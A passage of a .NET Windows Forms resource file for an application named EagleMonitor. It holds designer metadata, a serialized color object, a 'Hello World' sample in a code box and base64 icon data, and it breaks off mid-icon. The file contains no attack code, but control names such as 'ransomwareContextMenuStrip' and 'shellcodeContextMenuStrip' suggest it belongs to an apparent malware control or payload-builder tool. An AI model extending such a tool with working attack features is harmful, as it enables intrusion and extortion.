</metadata>\n  <metadata name=\"Column35.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"nativePEContextMenuStrip.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>17, 96</value>\n  </metadata>\n  <metadata name=\"Column33.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column34.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"managedPEContextMenuStrip.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>201, 93</value>\n  </metadata>\n  <metadata name=\"Column32.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"shellcodeContextMenuStrip.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>1205, 61</value>\n  </metadata>\n  <data name=\"codeTextBox.ServiceColors\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\n    <value>\n        AAEAAAD/////AQAAAAAAAAAMAgAAAFdGYXN0Q29sb3JlZFRleHRCb3gsIFZlcnNpb249Mi4xNi4yNC4w\n        LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWZiOGFhMTJiOTk0ZWY2MWIMAwAAAFFTeXN0\n        ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2Vu\n        PWIwM2Y1ZjdmMTFkNTBhM2EFAQAAACJGYXN0Q29sb3JlZFRleHRCb3hOUy5TZXJ2aWNlQ29sb3JzBgAA\n        ACg8Q29sbGFwc2VNYXJrZXJGb3JlQ29sb3I+a19fQmFja2luZ0ZpZWxkKDxDb2xsYXBzZU1hcmtlckJh\n        Y2tDb2xvcj5rX19CYWNraW5nRmllbGQqPENvbGxhcHNlTWFya2VyQm9yZGVyQ29sb3I+a19fQmFja2lu\n        Z0ZpZWxkJjxFeHBhbmRNYXJrZXJGb3JlQ29sb3I+a19fQmFja2luZ0ZpZWxkJjxFeHBhbmRNYXJrZXJC\n        YWNrQ29sb3I+a19fQmFja2luZ0ZpZWxkKDxFeHBhbmRNYXJrZXJCb3JkZXJDb2xvcj5rX19CYWNraW5n\n        RmllbGQEBAQEBAQUU3lzdGVtLkRyYXdpbmcuQ29sb3IDAAAAFFN5c3RlbS5EcmF3aW5nLkNvbG9yAwAA\n        ABRTeXN0ZW0uRHJhd2luZy5Db2xvcgMAAAAUU3lzdGVtLkRyYXdpbmcuQ29sb3IDAAAAFFN5c3RlbS5E\n        cmF3aW5nLkNvbG9yAwAAABRTeXN0ZW0uRHJhd2luZy5Db2xvcgMAAAACAAAABfz///8UU3lzdGVtLkRy\n        YXdpbmcuQ29sb3IEAAAABG5hbWUFdmFsdWUKa25vd25Db2xvcgVzdGF0ZQEAAAAJBwcDAAAACgAAAAAA\n        AAAAlgABAAH7/////P///woAAAAAAAAAAKQAAQAB+v////z///8KAAAAAAAAAACWAAEAAfn////8////\n        CgAAAAAAAAAAjQABAAH4/////P///woAAAAAAAAAAKQAAQAB9/////z///8KAAAAAAAAAACWAAEACw==\n</value>\n  </data>\n  <data name=\"codeTextBox.Text\" xml:space=\"preserve\">\n    <value>using System;\nusing System.Windows.Forms;\nnamespace EagleMonitor\n{\n    public class Program\n    {\n        public static void Main(string[] args)\n        {\n            MessageBox.Show(\"Hello World\");\n        }\n    }\n}</value>\n  </data>\n  <metadata name=\"Column31.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"importLibContextMenuStrip.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>1011, 58</value>\n  </metadata>\n  <metadata name=\"Column40.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column41.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column38.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column39.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column36.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column37.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column48.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column49.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column50.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column51.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column52.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column42.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column43.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column44.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column45.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"restorePointContextMenuStrip.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>430, 95</value>\n  </metadata>\n  <metadata name=\"Column46.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"ransomwarePathContextMenuStrip.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>1260, 95</value>\n  </metadata>\n  <metadata name=\"Column47.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"extensionContextMenuStrip.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>1063, 95</value>\n  </metadata>\n  <metadata name=\"toolTip1.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>17, 134</value>\n  </metadata>\n  <metadata name=\"ransomwareContextMenuStrip.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>846, 95</value>\n  </metadata>\n  <metadata name=\"$this.TrayHeight\" type=\"System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>166</value>\n  </metadata>\n  <assembly alias=\"System.Drawing\" name=\"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" />\n  <data name=\"$this.Icon\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n    <value>\n        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\n        